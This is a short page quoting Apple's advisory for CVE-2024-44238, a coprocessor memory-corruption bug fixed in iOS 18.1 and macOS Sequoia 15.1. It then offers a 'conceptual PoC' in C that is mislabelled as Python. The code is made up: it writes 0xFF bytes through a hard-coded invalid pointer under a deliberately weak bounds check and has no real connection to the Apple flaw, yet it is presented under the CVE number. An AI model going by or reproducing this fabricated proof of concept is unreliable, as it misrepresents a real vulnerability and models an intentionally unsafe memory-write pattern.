The issue was addressed with improved bounds checks. This issue is fixed in iOS 18.1 and iPadOS 18.1, macOS Sequoia 15.1. An app may be able to corrupt coprocessor memory.
The following code is for security research and authorized testing only.
python
// CVE-2024-44238 PoC Concept
// Note: This is a conceptual PoC for educational purposes only
// The actual vulnerability involves corrupting coprocessor memory
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Simulated vulnerable function with insufficient bounds checking
void vulnerable_coprocessor_access(unsigned int address, unsigned int size) {
unsigned int *coprocessor_mem = (unsigned int *)0xFFFFFFFF; // Simulated coprocessor region
// Insufficient bounds check - vulnerability exists here
if (address < 0x10000) { // Weak check that can be bypassed
// Write to coprocessor memory without proper validation
unsigned int *target = coprocessor_mem + address;
memset(target, 0xFF, size); // Memory corruption
}
}
int main(int argc, char *argv[]) {
printf("CVE-2024-44238 Conceptual PoC\n");
printf("Target: Apple coprocessor memory corruption\n");
if (argc > 2) {
unsigned int addr = atoi(argv[1]);
unsigned int size = atoi(argv[2]);
printf("Attempting memory access at 0x%x with size %d\n", addr, size);
vulnerable_coprocessor_access(addr, size);
}
printf("Note: This is a simulated demonstration.\n");
printf("Actual exploitation requires specific Apple device and iOS/macOS environment.\n");
return 0;
}